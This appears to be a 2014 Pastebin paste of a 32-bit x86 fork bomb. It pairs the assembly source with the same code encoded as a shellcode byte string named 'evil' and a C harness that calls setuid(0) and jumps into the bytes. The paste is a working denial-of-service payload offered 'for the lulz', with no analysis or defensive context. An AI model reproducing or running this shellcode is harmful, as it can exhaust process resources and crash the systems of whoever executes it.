Madmouse

for the lulz 32bit

Sep 16th, 2014
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.96 KB | None | 0 0
  1. // ----------------------------------------------------------------------------
  2. // "THE BEER-WARE LICENSE" (Revision 43):
  3. // <[email protected]> wrote this file. As long as you retain this notice you
  4. // can do whatever you want with this stuff. If we meet some day, and you think
  5. // this stuff is worth it, you can buy me a beer in return Aaron R. Yool
  6. // ----------------------------------------------------------------------------
  7. /*
  8. global _start
  9. section .text
  10.  
  11. _start:
  12. ; fork(void);
  13.     xor eax, eax
  14.     mov al,0x02
  15.     int 0x80
  16.     cmp eax,1   ; if this is a child, or we have failed to clone
  17.     jl fork     ; jump to the main code
  18. ; exit(0);
  19.     xor eax,eax
  20.     mov al,0x1
  21.     xor ebx,ebx
  22.     int 0x80
  23. fork:
  24.     mov al, 0x02
  25.     int 0x80
  26.     jmp short fork
  27.  
  28. */
  29.  
  30. const char evil[] = "\x31\xc0\xb0\x02\xcd\x80\x83\xf8\x01\x7c\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xb0\x02\xcd\x80\xeb\xfa";
  31.  
  32. typedef void (*shellcode)(void);
  33. void main(void)
  34. {
  35.     setuid(0);
  36.     ((shellcode)evil)();
  37. }
Advertisement
Add Comment
Please, Sign In to add comment